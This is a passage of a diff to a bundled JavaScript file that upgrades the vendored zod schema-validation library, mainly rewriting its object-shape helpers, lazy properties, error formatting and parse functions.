meta: () => meta, parse: () => parse, parseAsync: () => parseAsync, + parseURLObject: () => parseURLObject, prettifyError: () => prettifyError, - process: () => process2, + process: () => processSchema, + processSchema: () => processSchema, regexes: () => regexes_exports, registry: () => registry, safeDecode: () => safeDecode, @@ -55260,94 +55309,27 @@ __export(core_exports2, { safeEncodeAsync: () => safeEncodeAsync, safeParse: () => safeParse, safeParseAsync: () => safeParseAsync, + standardProps: () => standardProps, + stripTabAndNewline: () => stripTabAndNewline, toDotPath: () => toDotPath, toJSONSchema: () => toJSONSchema, + toZod: () => toZod, treeifyError: () => treeifyError, + urlHostnameOk: () => urlHostnameOk, + urlProtocolOk: () => urlProtocolOk, util: () => util_exports, - version: () => version + validate: () => validate, + validateAsync: () => validateAsync, + validateURL: () => validateURL, + version: () => version, + withParser: () => withParser }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js -var _a; -var NEVER = /* @__PURE__ */ Object.freeze({ - status: "aborted" -}); -// @__NO_SIDE_EFFECTS__ -function $constructor(name, initializer3, params) { - function init(inst, def) { - if (!inst._zod) { - Object.defineProperty(inst, "_zod", { - value: { - def, - constr: _, - traits: /* @__PURE__ */ new Set() - }, - enumerable: false - }); - } - if (inst._zod.traits.has(name)) { - return; - } - inst._zod.traits.add(name); - initializer3(inst, def); - const proto = _.prototype; - const keys = Object.keys(proto); - for (let i = 0; i < keys.length; i++) { - const k = keys[i]; - if (!(k in inst)) { - inst[k] = proto[k].bind(inst); - } - } - } - const Parent = params?.Parent ?? Object; - class Definition extends Parent { - } - Object.defineProperty(Definition, "name", { value: name }); - function _(def) { - var _a3; - const inst = params?.Parent ? new Definition() : this; - init(inst, def); - (_a3 = inst._zod).deferred ?? (_a3.deferred = []); - for (const fn of inst._zod.deferred) { - fn(); - } - return inst; - } - Object.defineProperty(_, "init", { value: init }); - Object.defineProperty(_, Symbol.hasInstance, { - value: (inst) => { - if (params?.Parent && inst instanceof params.Parent) - return true; - return inst?._zod?.traits?.has(name); - } - }); - Object.defineProperty(_, "name", { value: name }); - return _; -} -var $brand = Symbol("zod_brand"); -var $ZodAsyncError = class extends Error { - constructor() { - super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); - } -}; -var $ZodEncodeError = class extends Error { - constructor(name) { - super(`Encountered unidirectional transform during encode: ${name}`); - this.name = "ZodEncodeError"; - } -}; -(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); -var globalConfig = globalThis.__zod_globalConfig; -function config(newConfig) { - if (newConfig) - Object.assign(globalConfig, newConfig); - return globalConfig; -} - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/util.js var util_exports = {}; __export(util_exports, { BIGINT_FORMAT_RANGES: () => BIGINT_FORMAT_RANGES, + CONSTANT_CATCH: () => CONSTANT_CATCH, Class: () => Class, NUMBER_FORMAT_RANGES: () => NUMBER_FORMAT_RANGES, aborted: () => aborted, @@ -55358,6 +55340,7 @@ __export(util_exports, { assertNever: () => assertNever, assertNotEqual: () => assertNotEqual, assignProp: () => assignProp, + attachSchema: () => attachSchema, base64ToUint8Array: () => base64ToUint8Array, base64urlToUint8Array: () => base64urlToUint8Array, cached: () => cached, @@ -55366,8 +55349,12 @@ __export(util_exports, { cleanRegex: () => cleanRegex, clone: () => clone, cloneDef: () => cloneDef, + codePointLength: () => codePointLength, + constantCatch: () => constantCatch, createTransparentProxy: () => createTransparentProxy, defineLazy: () => defineLazy, + defineLazyInternal: () => defineLazyInternal, + derived: () => derived, esc: () => esc, escapeRegex: () => escapeRegex, explicitlyAborted: () => explicitlyAborted, @@ -55380,11 +55367,14 @@ __export(util_exports, { getParsedType: () => getParsedType, getSizableOrigin: () => getSizableOrigin, hexToUint8Array: () => hexToUint8Array, + hide: () => hide, + installLazyProp: () => installLazyProp, isObject: () => isObject2, isPlainObject: () => isPlainObject, issue: () => issue, joinValues: () => joinValues, jsonStringifyReplacer: () => jsonStringifyReplacer, + members: () => members, merge: () => merge, mergeDefs: () => mergeDefs, normalizeParams: () => normalizeParams, @@ -55393,6 +55383,7 @@ __export(util_exports, { objectClone: () => objectClone, omit: () => omit, optionalKeys: () => optionalKeys, + own: () => own, parsedType: () => parsedType, partial: () => partial, pick: () => pick, @@ -55401,11 +55392,14 @@ __export(util_exports, { promiseAllObject: () => promiseAllObject, propertyKeyTypes: () => propertyKeyTypes, randomString: () => randomString, + rawShape: () => rawShape, required: () => required, safeExtend: () => safeExtend, shallowClone: () => shallowClone, + sizeCaps: () => sizeCaps, slugify: () => slugify, stringifyPrimitive: () => stringifyPrimitive, + toZod: () => toZod, uint8ArrayToBase64: () => uint8ArrayToBase64, uint8ArrayToBase64url: () => uint8ArrayToBase64url, uint8ArrayToHex: () => uint8ArrayToHex, @@ -55417,6 +55411,9 @@ function assertEqual(val) { function assertNotEqual(val) { return val; } +function toZod() { + return (schema) => schema; +} function assertIs(_arg) { } function assertNever(_x) { @@ -55437,21 +55434,25 @@ function jsonStringifyReplacer(_, value) { return value.toString(); return value; } -function cached(getter) { - const set2 = false; - return { - get value() { - if (!set2) { - const value = getter(); - Object.defineProperty(this, "value", { value }); - return value; - } - throw new Error("cached value already set"); +var Cached = class { + constructor(getter) { + this._getter = getter; + this._value = void 0; + } + get value() { + const getter = this._getter; + if (getter !== void 0) { + this._value = getter(); + this._getter = void 0; } - }; + return this._value; + } +}; +function cached(getter) { + return new Cached(getter); } -function nullish(input) { - return input === null || input === void 0; +function nullish(input2) { + return input2 === null || input2 === void 0; } function cleanRegex(source) { const start = source.startsWith("^") ? 1 : 0; @@ -55461,7 +55462,7 @@ function cleanRegex(source) { function floatSafeRemainder(val, step) { const ratio = val / step; const roundedRatio = Math.round(ratio); - const tolerance = Number.EPSILON * Math.max(Math.abs(ratio), 1); + const tolerance = 4 * Number.EPSILON * Math.max(Math.abs(ratio), 1); if (Math.abs(ratio - roundedRatio) < tolerance) return 0; return ratio - roundedRatio; @@ -55500,6 +55501,56 @@ function assignProp(target, prop, value) { configurable: true }); } +function rawShape(def) { + const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); + return desc2?.get ? desc2.get.raw : desc2?.value; +} +function sourceShape(schema) { + return rawShape(schema._zod.def) ?? schema._zod.def.shape; +} +function deferProp(target, key, getter) { + Object.defineProperty(target, key, { + get() { + const value = getter(); + assignProp(this, key, value); + return value; + }, + enumerable: true, + configurable: true + }); +} +function putProp(target, key, value) { + if (key in target) + assignProp(target, key, value); + else + target[key] = value; +} +function mirrorShape(target, source, keys, wrap) { + const raw = sourceShape(source); + for (const key of keys) { + const desc2 = Object.getOwnPropertyDescriptor(raw, key); + if (!desc2.enumerable) + continue; + if (desc2.get) { + deferProp(target, key, () => { + const value = source._zod.def.shape[key]; + return wrap ? wrap(value, key) : value; + }); + } else + putProp(target, key, wrap ? wrap(desc2.value, key) : desc2.value); + } +} +function mirrorProps(target, source) { + for (const key of Reflect.ownKeys(source)) { + const desc2 = Object.getOwnPropertyDescriptor(source, key); + if (!desc2.enumerable) + continue; + if (desc2.get) + deferProp(target, key, () => source[key]); + else + putProp(target, key, desc2.value); + } +} function mergeDefs(...defs) { const mergedDescriptors = {}; for (const def of defs) { @@ -55538,8 +55589,8 @@ function randomString(length = 10) { function esc(str) { return JSON.stringify(str); } -function slugify(input) { - return input.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); +function slugify(input2) { + return input2.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); } var captureStackTrace = "captureStackTrace" in Error ? Error.captureStackTrace : (..._args) => { }; @@ -55717,16 +55768,16 @@ function stringifyPrimitive(value) { } function optionalKeys(shape) { return Object.keys(shape).filter((k) => { - return shape[k]._zod.optin === "optional" && shape[k]._zod.optout === "optional"; + return shape[k]._zod.optin !== void 0 && shape[k]._zod.optout === "optional"; }); } -var NUMBER_FORMAT_RANGES = { +var NUMBER_FORMAT_RANGES = /* @__PURE__ */ (() => ({ safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER], int32: [-2147483648, 2147483647], uint32: [0, 4294967295], float32: [-34028234663852886e22, 34028234663852886e22], float64: [-Number.MAX_VALUE, Number.MAX_VALUE] -}; +}))(); var BIGINT_FORMAT_RANGES = { int64: [/* @__PURE__ */ BigInt("-9223372036854775808"), /* @__PURE__ */ BigInt("9223372036854775807")], uint64: [/* @__PURE__ */ BigInt(0), /* @__PURE__ */ BigInt("18446744073709551615")] @@ -55738,23 +55789,21 @@ function pick(schema, mask) { if (hasChecks) { throw new Error(".pick() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = {}; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - newShape[key] = currDef.shape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const newShape = {}; + mirrorShape(newShape, schema, maskedKeys(schema, mask)); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); +} +function maskedKeys(schema, mask) { + const raw = sourceShape(schema); + const keys = []; + for (const key of Reflect.ownKeys(mask)) { + if (!Object.getOwnPropertyDescriptor(raw, key)?.enumerable) { + throw new Error(`Unrecognized key: "${String(key)}"`); + } + if (mask[key]) + keys.push(key); + } + return keys; } function omit(schema, mask) { const currDef = schema._zod.def; @@ -55763,23 +55812,10 @@ function omit(schema, mask) { if (hasChecks) { throw new Error(".omit() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = { ...schema._zod.def.shape }; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - delete newShape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const omitted = new Set(maskedKeys(schema, mask)); + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)).filter((key) => !omitted.has(key))); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); } function extend(schema, shape) { if (!isPlainObject(shape)) { @@ -55788,45 +55824,39 @@ function extend(schema, shape) { const checks = schema._zod.def.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - const existingShape = schema._zod.def.shape; - for (const key in shape) { + const existingShape = sourceShape(schema); + for (const key of Reflect.ownKeys(shape)) { if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) { throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead."); } } } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); +} +function extended(schema, shape) { + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema))); + mirrorProps(newShape, shape); + return newShape; } function safeExtend(schema, shape) { if (!isPlainObject(shape)) { throw new Error("Invalid input to safeExtend: expected a plain object"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); } function merge(a, b2) { + if (!b2?._zod?.def) { + throw new Error("Invalid input to merge: expected an object schema. To merge a plain shape, use `.extend()`."); + } if (a._zod.def.checks?.length) { throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead."); } + const newShape = {}; + mirrorShape(newShape, a, Reflect.ownKeys(sourceShape(a))); + mirrorShape(newShape, b2, Reflect.ownKeys(sourceShape(b2))); const def = mergeDefs(a._zod.def, { - get shape() { - const _shape = { ...a._zod.def.shape, ...b2._zod.def.shape }; - assignProp(this, "shape", _shape); - return _shape; - }, + shape: newShape, get catchall() { return b2._zod.def.catchall; }, @@ -55834,74 +55864,26 @@ function merge(a, b2) { }); return clone(a, def); } -function partial(Class2, schema, mask) { +function partial(Class2, schema, mask, name = "partial") { const currDef = schema._zod.def; const checks = currDef.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - throw new Error(".partial() cannot be used on object schemas containing refinements"); - } - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in oldShape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } else { - for (const key in oldShape) { - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } - assignProp(this, "shape", shape); - return shape; - }, - checks: [] - }); - return clone(schema, def); + throw new Error(`.${name}() cannot be used on object schemas containing refinements`); + } + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), Class2 && ((value, key) => selected && !selected.has(key) ? value : new Class2({ type: "optional", innerType: value }))); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape, checks: [] })); } function required(Class2, schema, mask) { - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } else { - for (const key in oldShape) { - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } - assignProp(this, "shape", shape); - return shape; - } - }); - return clone(schema, def); + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), (value, key) => ( + // overwrite with non-optional + selected && !selected.has(key) ? value : new Class2({ type: "nonoptional", innerType: value }) + )); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape })); } function aborted(x, startIndex = 0) { if (x.aborted === true) @@ -55934,29 +55916,75 @@ function prefixIssues(path, issues) { function unwrapMessage(message2) { return typeof message2 === "string" ? message2 : message2?.message; } +function sizeCaps(defChecks) { + const caps = []; + for (const ch of defChecks ?? []) { + const d = ch._zod.def; + if (!/_(length|size)$|_equals$/.test(d.check)) + break; + const max = d.maximum ?? d.length ?? d.size; + if (max >= 0) + caps.push([max, ch]); + } + return caps; +} +function attachSchema(issues, start, inst) { + var _a3; + for (let i = start; i < issues.length; i++) { + (_a3 = issues[i]).schema ?? (_a3.schema = inst); + } +} function finalizeIssue(iss, ctx, config2) { - const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; - const { inst: _inst, continue: _continue, input: _input, ...rest } = iss; - rest.path ?? (rest.path = []); - rest.message = message2; + var _a3; + const traits = iss.inst?._zod?.traits; + if (traits?.has("$ZodType")) { + if (traits.has("$ZodCheck")) + (_a3 = iss).schema ?? (_a3.schema = iss.inst); + else + iss.schema = iss.inst; + } + const schemaError = iss.schema !== iss.inst ? iss.schema?._zod.def?.error : void 0; + const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(schemaError?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; + const full = {}; + for (const k of Object.keys(iss)) { + if (k === "inst" || k === "schema" || k === "continue" || k === "input" || k === "__proto__") + continue; + full[k] = iss[k]; + } + full.path ?? (full.path = []); + full.message = message2; if (ctx?.reportInput) { - rest.input = _input; + full.input = iss.input; } - return rest; + return full; } -function getSizableOrigin(input) { - if (input instanceof Set) +function getSizableOrigin(input2) { + if (input2 instanceof Set) return "set"; - if (input instanceof Map) + if (input2 instanceof Map) return "map"; - if (input instanceof File) + if (input2 instanceof File) return "file"; return "unknown"; } -function getLengthableOrigin(input) { - if (Array.isArray(input)) +var highSurrogate = /[\uD800-\uDBFF]/; +function codePointLength(str) { + const units = str.length; + if (!highSurrogate.test(str)) + return units; + let count = units; + for (let i = 0; i < units - 1; i++) { + if ((str.charCodeAt(i) & 64512) === 55296 && (str.charCodeAt(i + 1) & 64512) === 56320) { + count--; + i++; + } + } + return count; +} +function getLengthableOrigin(input2) { + if (Array.isArray(input2)) return "array"; - if (typeof input === "string") + if (typeof input2 === "string") return "string"; return "unknown"; } @@ -55982,12 +56010,12 @@ function parsedType(data) { return t; } function issue(...args) { - const [iss, input, inst] = args; + const [iss, input2, inst] = args; if (typeof iss === "string") { return { message: iss, code: "custom", - input, + input: input2, inst }; } @@ -56039,43 +56067,312 @@ var Class = class { constructor(..._args) { } }; - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js -var initializer = (inst, def) => { - inst.name = "$ZodError"; - Object.defineProperty(inst, "_zod", { - value: inst._zod, - enumerable: false +function members(proto, table2) { + for (const key in table2) { + const desc2 = Object.getOwnPropertyDescriptor(table2, key); + if (desc2.get) + Object.defineProperty(proto, key, { ...desc2, enumerable: false }); + else + defineBound(proto, key, desc2.value); + } +} +function own(inst, key, value, enumerable = true) { + Object.defineProperty(inst, key, { configurable: true, writable: true, enumerable, value }); + return value; +} +function hide(inst, key, value) { + return own(inst, key, value, false); +} +// @__NO_SIDE_EFFECTS__ +function derived(computes, table2) { + for (const key in computes) { + const compute = computes[key]; + Object.defineProperty(table2, key, { + configurable: true, + enumerable: true, + get() { + return own(this, key, compute(this)); + }, + set(value) { + own(this, key, value); + } + }); + } + return table2; +} +function defineBound(proto, key, fn) { + Object.defineProperty(proto, key, { + configurable: true, + get() { + return this == null ? fn : own(this, key, fn.bind(this)); + }, + set(value) { + own(this, key, value); + } }); - Object.defineProperty(inst, "issues", { - value: def, - enumerable: false +} +function claim(inst, sentinel) { + const proto = Object.getPrototypeOf(inst); + return sentinel in proto ? void 0 : proto; +} +var installing; +var broke = false; +var breaker = { + configurable: true, + get() { + broke = true; + return void 0; + } +}; +function defineLazyInternal(inst, key, compute) { + const proto = Object.getPrototypeOf(inst._zod); + if (key in proto && installing !== inst._zod) { + installing = void 0; + return; + } + installing = inst._zod; + Object.defineProperty(proto, key, { + configurable: true, + get() { + Object.defineProperty(this, key, breaker); + const outer = broke; + broke = false; + try { + const value = compute(this); + if (broke) + delete this[key]; + else + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + broke = broke || outer; + return value; + } catch (err) { + delete this[key]; + broke = broke || outer; + throw err; + } + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + } }); - inst.message = JSON.stringify(def, jsonStringifyReplacer, 2); - Object.defineProperty(inst, "toString", { - value: () => inst.message, - enumerable: false +} +function installLazyProp(inst, key, make, enumerable) { + const proto = claim(inst, key); + if (!proto) + return; + Object.defineProperty(proto, key, { + configurable: true, + get() { + const desc2 = { configurable: true, writable: true, enumerable, value: void 0 }; + Object.defineProperty(this, key, desc2); + desc2.value = make(this); + Object.defineProperty(this, key, desc2); + return desc2.value; + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, enumerable, value }); + } }); +} +var CONSTANT_CATCH = "~constantCatch"; +function constantCatch(value) { + const fn = () => value; + fn[CONSTANT_CATCH] = true; + return fn; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/core.js +var _a; +var NEVER = /* @__PURE__ */ Object.freeze({ + status: "aborted" +}); +var _zodDesc = { value: void 0, enumerable: false }; +var _E = "captureStackTrace" in Error ? Error : null; +function newError(Definition) { + const E = _E; + if (E) { + const saved = E.stackTraceLimit; + if (typeof saved === "number") { + try { + E.stackTraceLimit = 0; + } catch { + _E = null; + return new Definition(); + } + try { + return new Definition(); + } finally { + E.stackTraceLimit = saved; + } + } + } + return new Definition(); +} +// @__NO_SIDE_EFFECTS__ +function $constructor(name, initializer3, proto, params) { + const zodProto = {}; + function Internals(def) { + this.def = def; + this.constr = _; + this.traits = /* @__PURE__ */ new Set(); + } + Internals.prototype = zodProto; + const protoMembers = proto; + const initialized = protoMembers && /* @__PURE__ */ new WeakSet(); + function init(inst, def) { + if (!inst._zod) { + _zodDesc.value = new Internals(def); + try { + Object.defineProperty(inst, "_zod", _zodDesc); + } finally { + _zodDesc.value = void 0; + } + } else if (inst._zod.traits.has(name)) { + return; + } + inst._zod.traits.add(name); + initializer3(inst, def); + if (initialized) { + const own2 = Object.getPrototypeOf(inst); + const ctorProto = inst._zod.constr.prototype; + let up = own2; + while (up && up !== ctorProto) + up = Object.getPrototypeOf(up); + const target = up ?? own2; + if (!initialized.has(target)) { + initialized.add(target); + members(target, protoMembers); + } + } + const proto2 = _.prototype; + for (const k in proto2) { + if (!Object.prototype.hasOwnProperty.call(proto2, k)) + continue; + if (!(k in inst)) { + inst[k] = proto2[k].bind(inst); + } + } + } + const Parent = params?.Parent ?? Object; + class Definition extends Parent { + } + Object.defineProperty(Definition, "name", { value: name }); + function _(def) { + const inst = params?.Parent ? newError(Definition) : this; + init(inst, def); + const deferred = inst._zod.deferred; + if (deferred) { + for (const fn of deferred) { + fn(); + } + inst._zod.deferred = void 0; + } + const pp = globalThis.__zod_globalConfig?.postProcessor; + if (pp) + pp(inst); + return inst; + } + Object.defineProperty(_, "init", { value: init }); + Object.defineProperty(_, Symbol.hasInstance, { + value: (inst) => { + if (params?.Parent && inst instanceof params.Parent) + return true; + return inst?._zod?.traits?.has(name); + } + }); + Object.defineProperty(_, "name", { value: name }); + return _; +} +var $brand = /* @__PURE__ */ Symbol("zod_brand"); +var $ZodAsyncError = class extends Error { + constructor() { + super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); + } +}; +var $ZodEncodeError = class extends Error { + constructor(name) { + super(`Encountered unidirectional transform during encode: ${name}`); + this.name = "ZodEncodeError"; + } +}; +(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); +var globalConfig = globalThis.__zod_globalConfig; +function config(newConfig) { + if (newConfig) + Object.assign(globalConfig, newConfig); + return globalConfig; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/errors.js +function _getMessage() { + const internals = this._zod; + internals.message ?? (internals.message = JSON.stringify(internals.def, jsonStringifyReplacer, 2)); + return internals.message; +} +function _setMessage(value) { + this._zod.message = value; +} +var _messageDesc = { + get: _getMessage, + set: _setMessage, + enumerable: true, + configurable: true +}; +var _issuesDesc = { value: void 0, enumerable: false }; +var _installedToString = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +var initializer = (inst, def) => { + inst.name = "$ZodError"; + _issuesDesc.value = def; + Object.defineProperty(inst, "issues", _issuesDesc); + _issuesDesc.value = void 0; + Object.defineProperty(inst, "message", _messageDesc); + const proto = Object.getPrototypeOf(inst); + if (!_installedToString.has(proto)) { + _installedToString.add(proto); + Object.defineProperty(proto, "toString", { + configurable: true, + enumerable: false, + get() { + const value = () => this.message; + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + } + }); + } }; var $ZodError = $constructor("$ZodError", initializer); -var $ZodRealError = $constructor("$ZodError", initializer, { Parent: Error }); -function flattenError(error51, mapper = (issue2) => issue2.message) { +var $ZodRealError = $constructor("$ZodError", initializer, void 0, { + Parent: Error +}); +function node(obj, key, make) { + if (!Object.prototype.hasOwnProperty.call(obj, key)) { + if (key === "__proto__") { + Object.defineProperty(obj, key, { value: make(), writable: true, enumerable: true, configurable: true }); + } else { + obj[key] = make(); + } + } + return obj[key]; +} +function flattenError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = {}; const formErrors = []; - for (const sub of error51.issues) { + for (const sub of error62.issues) { if (sub.path.length > 0) { - fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || []; - fieldErrors[sub.path[0]].push(mapper(sub)); + node(fieldErrors, sub.path[0], () => []).push(mapper(sub)); } else { formErrors.push(mapper(sub)); } } return { formErrors, fieldErrors }; } -function formatError(error51, mapper = (issue2) => issue2.message) { +function formatError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = { _errors: [] }; - const processError = (error52, path = []) => { - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -56092,27 +56389,39 @@ function formatError(error51, mapper = (issue2) => issue2.message) { while (i < fullpath.length) { const el = fullpath[i]; const terminal = i === fullpath.length - 1; - if (!terminal) { - curr[el] = curr[el] || { _errors: [] }; - } else { - curr[el] = curr[el] || { _errors: [] }; - curr[el]._errors.push(mapper(issue2)); + if (el === "_errors") { + if (terminal) + curr._errors.push(mapper(issue2)); + i++; + continue; + } + if (!Object.prototype.hasOwnProperty.call(curr, el)) { + Object.defineProperty(curr, el, { + value: { _errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); } - curr = curr[el]; + const node2 = curr[el]; + if (terminal) { + node2._errors.push(mapper(issue2)); + } + curr = node2; i++; } } } } }; - processError(error51); + processError(error62); return fieldErrors; } -function treeifyError(error51, mapper = (issue2) => issue2.message) { +function treeifyError(error62, mapper = (issue2) => issue2.message) { const result = { errors: [] }; - const processError = (error52, path = []) => { - var _a3, _b; - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + var _a3; + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -56132,11 +56441,18 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { const terminal = i === fullpath.length - 1; if (typeof el === "string") { curr.properties ?? (curr.properties = {}); - (_a3 = curr.properties)[el] ?? (_a3[el] = { errors: [] }); + if (!Object.prototype.hasOwnProperty.call(curr.properties, el)) { + Object.defineProperty(curr.properties, el, { + value: { errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); + } curr = curr.properties[el]; } else { curr.items ?? (curr.items = []); - (_b = curr.items)[el] ?? (_b[el] = { errors: [] }); + (_a3 = curr.items)[el] ?? (_a3[el] = { errors: [] }); curr = curr.items[el]; } if (terminal) { @@ -56147,7 +56463,7 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { } } }; - processError(error51); + processError(error62); return result; } function toDotPath(_path) { @@ -56168,9 +56484,9 @@ function toDotPath(_path) { } return segs.join(""); } -function prettifyError(error51) { +function prettifyError(error62) { const lines = []; - const issues = [...error51.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); + const issues = [...error62.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); for (const issue2 of issues) { lines.push(`\u2716 ${issue2.message}`); if (issue2.path?.length) @@ -56179,32 +56495,41 @@ function prettifyError(error51) { return lines.join("\n"); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js -var _parse = (_Err) => (schema, value, _ctx, _params) => { - const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; - const result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) { - throw new $ZodAsyncError(); - } - if (result.issues.length) { - const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, _params?.callee); - throw e; - } - return result.value; +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/parse.js +function finalizeParams(callee, params) { + return { callee: params?.callee ?? callee, Err: params?.Err }; +} +var _parse = (_Err) => { + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; + const result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + if (result.issues.length) { + const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, _params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parse = /* @__PURE__ */ _parse($ZodRealError); -var _parseAsync = (_Err) => async (schema, value, _ctx, params) => { - const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; - let result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) - result = await result; - if (result.issues.length) { - const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, params?.callee); - throw e; - } - return result.value; +var _parseAsync = (_Err) => { + const fn = async (schema, value, _ctx, params) => { + const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + if (result.issues.length) { + const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parseAsync = /* @__PURE__ */ _parseAsync($ZodRealError); var _safeParse = (_Err) => (schema, value, _ctx) => { @@ -56213,39 +56538,102 @@ var _safeParse = (_Err) => (schema, value, _ctx) => { if (result instanceof Promise) { throw new $ZodAsyncError(); } - return result.issues.length ? { - success: false, - error: new (_Err ?? $ZodError)(result.issues.map((iss) => 